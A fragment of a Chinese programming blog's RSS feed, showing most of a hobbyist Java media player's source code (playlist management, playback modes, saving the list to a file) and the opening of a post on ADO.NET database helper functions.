href="file://%22+sFiles%5Bi/">\\"+sFiles[i</A>]);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/*fd=new FileDialog(MediaPlayer.this);<BR>&nbsp;&nbsp;fd.setVisible(true);<BR>&nbsp;&nbsp;if(fd.getDirectory()!=null)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;File fileDir=new File(fd.getDirectory());<BR>&nbsp;&nbsp;&nbsp;String[] ss=fileDir.list();<BR>&nbsp;&nbsp;&nbsp;for(int i=0;i&lt;ss.length;i++)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(ss[i]);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}*/<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;private void createPlayer()<BR>&nbsp;{<BR>&nbsp;&nbsp;closePreviosPlayer();//关闭先前的媒体播放器<BR>&nbsp;&nbsp;String extendName="此播放器好象不支持"+title.substring(title.lastIndexOf(".")+1)+"格式";<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;player=Manager.createPlayer(file.toURL());//javax.media.Manager直接继承于java.lang.object,且它为final,不能被继承<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;player.addControllerListener(new ControllerHand());<BR>&nbsp;&nbsp;&nbsp;player.start();<BR>&nbsp;&nbsp;&nbsp;addList(files);<BR>&nbsp;&nbsp;&nbsp;index=fileName.size()-1;<BR>&nbsp;&nbsp;&nbsp;list.setSelectedValue(numList.elementAt(index),true);<BR>&nbsp;&nbsp;&nbsp;//list.setSelectedIndex(index);<BR>&nbsp;&nbsp;&nbsp;//list.setSelectionForeground(Color.blue);<BR>&nbsp;&nbsp;&nbsp;setTitle(title);<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;//addList("files");//到播放清单<BR>&nbsp;&nbsp;&nbsp;//title="file.getAbsoluteFile()";<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;JOptionPane.showMessageDialog(this,extendName,"出错了!!",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;&nbsp;setTitle(extendName);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;private void closePreviosPlayer()<BR>&nbsp;{<BR>&nbsp;&nbsp;if(player==null)<BR>&nbsp;&nbsp;return;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;//player.close();//首先停止播放<BR>&nbsp;&nbsp;/*<BR>&nbsp;&nbsp; *不能用上面的代码停止，要用下面的两行取代，否则Component visual =player.getVisualComponent();发生异常<BR>&nbsp;&nbsp; **/<BR>&nbsp;&nbsp;player.stop(); &nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &nbsp;player.deallocate(); //停止播放并且重新装载DateSource<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;Component visual =player.getVisualComponent();<BR>&nbsp;&nbsp;Component control=player.getControlPanelComponent();<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;if(visual!=null)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;panel.remove(visual);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(control!=null)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;panel.remove(control);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;private class ControllerHand implements ControllerListener<BR>&nbsp;{<BR>&nbsp;&nbsp;public void controllerUpdate(ControllerEvent e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;if(e instanceof RealizeCompleteEvent)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;Component visual=player.getVisualComponent();<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(visual!=null)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//System.out.println("音频播放器不支持视频图象功能");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//setTitle("音频播放器不支持视频图象功能");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;panel.removeAll();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; panel.add(visual,BorderLayout.CENTER);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;panel.add(label,BorderLayout.CENTER);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}///此else语句可以防止因为原来播放视频图象后以后没有界面<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Component control=player.getControlPanelComponent();<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(control!=null)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;panel.add(control,BorderLayout.SOUTH);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//c.validate();<BR>&nbsp;&nbsp;&nbsp;&nbsp;panel.doLayout();<BR>&nbsp;&nbsp;&nbsp;&nbsp;return;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;if (e instanceof EndOfMediaEvent) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*if (loop) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; player.setMediaTime (new Time (0)); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; player.start (); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;*/<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(buttonValues[0].isSelected())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(fileName.size()==0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;return;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;index=(int)(Math.random()*fileName.size());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(buttonValues[1].isSelected())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(fileName.size()==0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;return;//必须有此if语句，否则当用户把播放列表清空的时候发生异常，偶然的机会发现的<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;//现在感觉测试软件真是太重要了，看来以后程序做好后要反复测试，考虑各种情况<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;index=(index+1)%fileName.size();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(buttonValues[2].isSelected())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; player.setMediaTime (new Time (0)); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; player.start(); &nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; createPlayer2();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;}<BR>&nbsp;private void exity_n()<BR>&nbsp;{<BR>&nbsp;&nbsp;/*int exi;<BR>&nbsp;&nbsp;exi=JOptionPane.showConfirmDialog(this,"真的要离开么？","退出程序",JOptionPane.YES_NO_OPTION,<BR>&nbsp;&nbsp;JOptionPane.QUESTION_MESSAGE);<BR>&nbsp;&nbsp;//if(exi==null)<BR>&nbsp;&nbsp;if(exi==JOptionPane.YES_OPTION)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;saveList();<BR>&nbsp;&nbsp;&nbsp;System.exit(0);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;return;*/<BR>&nbsp;&nbsp;saveList();<BR>&nbsp;&nbsp;System.exit(0);<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;&nbsp;private void addList(String vf)<BR>&nbsp;{<BR>&nbsp;&nbsp;//fileReadList=new fileReadList(fdd,)<BR>&nbsp;&nbsp;//try<BR>&nbsp;&nbsp;//{<BR>&nbsp;&nbsp;&nbsp;//int i=0;<BR>&nbsp;&nbsp;&nbsp;//fileName.addElement((fileName.size()+1)+"."+vf);<BR>&nbsp;&nbsp;&nbsp;fileName.addElement(vf);<BR>&nbsp;&nbsp;&nbsp;numList.addElement((numList.size()+1)+"."+vf);<BR>&nbsp;&nbsp;&nbsp;//fileName.addElement(++i+"."+vf);<BR>&nbsp;&nbsp;&nbsp;dirName.addElement(title);<BR>&nbsp;&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;//}<BR>&nbsp;&nbsp;/*catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;e.printStackTrace();<BR>&nbsp;&nbsp;&nbsp;//System.out.println(e.getMessage());<BR>&nbsp;&nbsp;}*/<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;private void createPlayer2()<BR>&nbsp;{<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;try{title=dirName.elementAt(index).toString();}<BR>&nbsp;&nbsp;//title=dirName.elementAt(index).toString();<BR>&nbsp;&nbsp;catch(ArrayIndexOutOfBoundsException e)<BR>&nbsp;&nbsp;{return;}<BR>&nbsp;&nbsp;file=new File(title);<BR>&nbsp;&nbsp;closePreviosPlayer();//关闭先前的媒体播放器<BR>&nbsp;&nbsp;String extendName="此播放器好象不支持"+title.substring(title.lastIndexOf(".")+1)+"格式";<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;player=Manager.createPlayer(file.toURL());//javax.media.Manager直接继承于java.lang.object,且它为final,不能被继承<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;player.addControllerListener(new ControllerHand());<BR>&nbsp;&nbsp;&nbsp;player.start();<BR>&nbsp;&nbsp;&nbsp;//list.setSelectedIndex(index);<BR>&nbsp;&nbsp;&nbsp;list.setSelectedValue(numList.elementAt(index),true);<BR>&nbsp;&nbsp;&nbsp;//list.setSelectionForeground(Color.blue);<BR>&nbsp;&nbsp;&nbsp;//list.setSelectedIndex(index);<BR>&nbsp;&nbsp;&nbsp;//addList(files);<BR>&nbsp;&nbsp;&nbsp;setTitle(title);<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;//addList("files");//到播放清单<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;//JOptionPane.showMessageDialog(this,extendName,"出错了!!",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;&nbsp;//setTitle(extendName);<BR>&nbsp;&nbsp;&nbsp;String ex=null;<BR>&nbsp;&nbsp;&nbsp;try{ex=fileName.elementAt(index).toString();<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;catch(Exception e1){return;}<BR>&nbsp;&nbsp;&nbsp;fileName.removeElementAt(index);<BR>&nbsp;&nbsp;&nbsp;numList.removeAllElements();<BR>&nbsp;&nbsp;&nbsp;Enumeration enumFile=fileName.elements();<BR>&nbsp;&nbsp;&nbsp;while(enumFile.hasMoreElements())<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;numList.addElement((numList.size()+1)+"."+enumFile.nextElement());<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;dirName.removeElementAt(index);<BR>&nbsp;&nbsp;&nbsp;//list.setListData(fileName);<BR>&nbsp;&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;System.out.println("已经从播放列表中删除 "+"\""+ex+"\""+" 文件,"<BR>&nbsp;&nbsp;&nbsp;+"因为此播放器不支持"+ex.substring(ex.lastIndexOf(".")+1)+"格式,"<BR>&nbsp;&nbsp;&nbsp;+"不过没有从硬盘真正删除");<BR>&nbsp;&nbsp;&nbsp;if(numList.size()!=0)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;index%=numList.size();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; createPlayer2();<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;private void saveList()<BR>&nbsp;{<BR>&nbsp;&nbsp;Enumeration enumFile=fileName.elements();<BR>&nbsp;&nbsp;Enumeration enumDir =dirName.elements();<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;output=new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream(listFile)));<BR>&nbsp;&nbsp;&nbsp;while(enumFile.hasMoreElements())<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;listWriteFile=new ListValues(enumFile.nextElement().toString(),enumDir.nextElement().toString());<BR>&nbsp;&nbsp;&nbsp;&nbsp;output.writeObject(listWriteFile);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;output.flush();<BR>&nbsp;&nbsp;&nbsp;output.close();<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;e.printStackTrace();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;/*finally<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;output.flush();<BR>&nbsp;&nbsp;&nbsp;output.close();//郁闷，这两行不能写在这里，实在是一大遗憾啊，不知道有什么别的方法<BR>&nbsp;&nbsp;}*/<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;public void run()<BR>&nbsp;{<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;Thread.sleep(1);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(InterruptedException e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;if(!listFile.exists())<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;listFile.createNewFile();//防止不存在此文件发生读取错误，这两行代码保证不存在的情况下自动建立<BR>&nbsp;&nbsp;&nbsp;&nbsp;return;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;input=new ObjectInputStream(new BufferedInputStream(new FileInputStream(listFile)));<BR>&nbsp;&nbsp;&nbsp;while(true)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;listWriteFile=(ListValues)input.readObject();<BR>&nbsp;&nbsp;&nbsp;&nbsp;fileName.addElement(listWriteFile.getFileName());<BR>&nbsp;&nbsp;&nbsp;&nbsp;numList.addElement((numList.size()+1)+"."+listWriteFile.getFileName());<BR>&nbsp;&nbsp;&nbsp;&nbsp;dirName.addElement(listWriteFile.getDirName());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(EOFException e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//if(!fileName.isEmpty())<BR>&nbsp;&nbsp;&nbsp;&nbsp;input.close();//确认有元素存在并加载完毕后关闭输入流<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;catch(IOException e1)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;JOptionPane.showMessageDialog(MediaPlayer.this,"文件被非正常关闭",<BR>&nbsp;&nbsp;&nbsp;&nbsp;"非法关闭",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(ClassNotFoundException e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;JOptionPane.showMessageDialog(MediaPlayer.this,"不能创建对象","对象创建失败",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(IOException e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;JOptionPane.showMessageDialog(MediaPlayer.this,"不能读取文件",<BR>&nbsp;&nbsp;&nbsp;"读取文件失败",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(input!=null)<BR>&nbsp;&nbsp;&nbsp;&nbsp;input.close();<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;catch(IOException e)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;if(dirName.isEmpty())//防止Vector越界<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;index=(int)(Math.random()*(fileName.size()));//产生随即数，进行随即播放<BR>&nbsp;&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;&nbsp;//list.setListData(fileName);<BR>&nbsp;&nbsp;&nbsp;//list.setSelectedValue(fileName.elementAt(index),true);<BR>&nbsp;&nbsp;&nbsp;//list.ensureIndexIsVisible(index);//确保选择项可以看见<BR>&nbsp;&nbsp;&nbsp;//list.setSelectionForeground(Color.green);<BR>&nbsp;&nbsp;&nbsp;createPlayer2();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;private void checkMenu(MouseEvent e)<BR>&nbsp;{<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;if(e.isPopupTrigger())<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;indexForDel=list.locationToIndex(e.getPoint());<BR>&nbsp;&nbsp;&nbsp;int[] selected={index,indexForDel};<BR>&nbsp;&nbsp;&nbsp;//Point p=new Point(e.getX(),e.getY());<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;list.setSelectedIndices(selected);<BR>&nbsp;&nbsp;&nbsp;popupMenu.show(list,e.getX(),e.getY());<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;//list.setSelectedIndex(index);<BR>&nbsp;}<BR>&nbsp;String reNames() throws ReName//文件该名函数<BR>&nbsp;{<BR>&nbsp;&nbsp;String name=JOptionPane.showInputDialog(this,"请输入新的名字",fileName.elementAt(indexForDel));<BR>&nbsp;&nbsp;if(name==null||name.equals("")) throw new ReName();<BR>&nbsp;&nbsp;//必须把name==null放在前面，否则会发生NullPointerExceptin，这个很好理解，<BR>&nbsp;&nbsp;//当我们按了取消后，name会成为空，那么name.equals("")就会发生异常<BR>&nbsp;&nbsp;return name;<BR>&nbsp;}<BR>&nbsp;class ReName extends Exception//自定义异常来处理文件该名的时候发生输入为空的情形<BR>&nbsp;{<BR>&nbsp;}<BR>&nbsp;/*class Filters implements FilenameFilter<BR>&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public boolean accept(File dir,String name)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (name.endsWith(".exe"));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; }*/<BR>&nbsp;<BR>&nbsp;<BR>}</P><img src="http://www.cnblogs.com/maxun/aggbug/333315.html?type=1" width="1" height="1" alt=""/><p>评论: 39　<a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333315.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333315.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>向面连接的ADO.NET</title><link>http://www.cnblogs.com/maxun/archive/2006/02/19/333313.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Sat, 18 Feb 2006 16:29:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/02/19/333313.html</guid><description><![CDATA[<p>阅读: 98 评论: 0 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-02-19 00:29 <a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333313.html" target="_blank">原文链接</a></p><P>一个操作数据库的函数。。。为了方便我把它写到了一个单独的文件里。。这里演示了其实现方法。</P>
<P>&lt;<A href="mailto:%@Import">%@Import</A> Namespace="System.Data"%&gt;<BR>&lt;<A href="mailto:%@Import">%@Import</A> Namespace="System.Data.OleDb"%&gt;<BR>&lt;script runat="server"&gt;<BR>&nbsp;public string v_string_dbname="database.mdb";<BR>&nbsp;public OleDbConnection conn;<BR>&nbsp;public OleDbCommand cmd;<BR>&nbsp;public OleDbDataReader rs;<BR>&nbsp;<BR>&nbsp;/***************************************************************************<BR>&nbsp;* 关闭与数据库的连接<BR>&nbsp;* 例：DatabaseClose();<BR>&nbsp;***************************************************************************/<BR>&nbsp;public void DatabaseClose()<BR>&nbsp;{<BR>&nbsp;&nbsp;rs.Close();<BR>&nbsp;&nbsp;conn.Close();<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;/***************************************************************************<BR>&nbsp;* 数据库操作函数<BR>&nbsp;* 使用本函数需要在要使用函数的文件中使用 &lt;<A href="mailto:%@Page">%@Page</A> Language="C#"%&gt;指令<BR>&nbsp;* 参数<BR>&nbsp;* 